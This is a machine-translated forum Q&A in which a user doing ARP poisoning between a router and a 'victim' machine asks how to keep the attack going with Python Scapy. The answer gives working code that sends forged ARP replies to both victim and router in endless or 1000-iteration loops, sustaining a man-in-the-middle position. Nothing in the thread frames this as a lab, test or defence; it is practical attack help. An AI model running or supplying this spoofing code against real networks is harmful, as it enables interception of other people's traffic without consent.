2015-09-24 3 views
1

Выполнение отравления arp, я нахожусь в середине соединения 1-маршрутизатора и 2-компьютера-жертвы. Как я могу повторно передать пакет в пункт назначения? (Желательно с scapy) у меня есть это:Python-2.7 Scapy ретранслировать пакет в пункт назначения

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip)) 
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)) 

ответ

1

Обзор Scapy's API documentation предлагает следующие альтернативы:

  1. send функция принимает 2 дополнительные аргументы, которые могли бы оказаться полезными:

    loop: отправлять пакеты бесконечно, если нет 0.
    inter: tim e в секундах для ожидания между двумя пакетами.

    Таким образом, выполнив следующий оператор будет посылать пакеты в бесконечном цикле:

    send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), 
         ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], 
        inter=1, loop=1) 
    
  2. sr функция принимает 3 аргумента, которые могут оказаться полезными:

    retry: если положительный , сколько раз пересылать оставшиеся без ответа пакеты. если отрицательный, сколько последовательных неотвеченных зондов перед тем, как сдаться. Полезно только отрицательное значение.
    timeout: сколько времени ждать после отправки последнего пакета. По умолчанию по умолчанию, sr будет ждать всегда, и пользователь должен будет прервать (Ctrl-C), когда он больше не будет отвечать.
    inter: время ожидания в секундах между каждым отправленным пакетом.

    Поскольку нет ответов, как ожидается, будут получены для отправленных ARP пакетов, указав эти аргументы с требуемыми значениями позволяет посылать пакеты в конечном цикле, в отличие от предыдущей альтернативы, которая заставляет бесконечный один ,

    С другой стороны, это, вероятно, немного менее эффективно, так как ресурсы распределяются для получения и обработки пакетов, но это незначительно.

    Таким образом, выполнив следующий оператор будет посылать пакеты в конечном цикле 1000 итераций:

    sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip), 
        ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)], 
        retry=999, inter=1, timeout=1) 
    
+0

щелчку на ссылке и обнаружил, что примеры являются пустыми. Это нормально? (стр. 12-18), потому что, если информация находится на этих страницах, я не могу их видеть! –

+0

Я столкнулся с той же проблемой с этими страницами. Я не знаю, почему. Однако примеры можно найти здесь (http://www.secdev.org/projects/scapy/doc/usage.html) или с помощью простого поиска в Google. – Yoel

+0

Благодарим за помощь! Можете ли вы помочь мне с этим? http://stackoverflow.com/questions/32804176/python-scapy-arp-request-and-response –

Смежные вопросы